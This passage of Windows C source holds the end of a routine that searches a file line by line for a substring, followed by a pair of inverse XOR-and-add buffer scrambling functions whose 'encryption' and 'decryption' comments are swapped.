if(hFile == INVALID_HANDLE_VALUE)
return NULL;
do
{
//read a line
bRet = File_ReadLine(hFile, &lpszBuf);
if(bRet == FALSE)
{
znfree((LPVOID*)&lpszBuf);
return NULL;
}
//search the substring
if(strstr(lpszBuf, lpszStr) != NULL)
break;
}
while(bRet);
return lpszBuf;
}
//buffer encryption
void DecryptBuffer(LPBYTE lpBuf, DWORD dwSize)
{
DWORD i;
for(i=0; i<dwSize; i++)
{
lpBuf[i] ^= 0x86;
lpBuf[i] += (BYTE)i;
lpBuf[i] ^= (BYTE)i+8;
}
}
//buffer decryption
void EncryptBuffer(LPBYTE lpBuf, DWORD dwSize)
{
DWORD i;
for(i=0; i<dwSize; i++)
{
lpBuf[i] ^= (BYTE)i+8;
lpBuf[i] -= (BYTE)i;
lpBuf[i] ^= 0x86;
}
}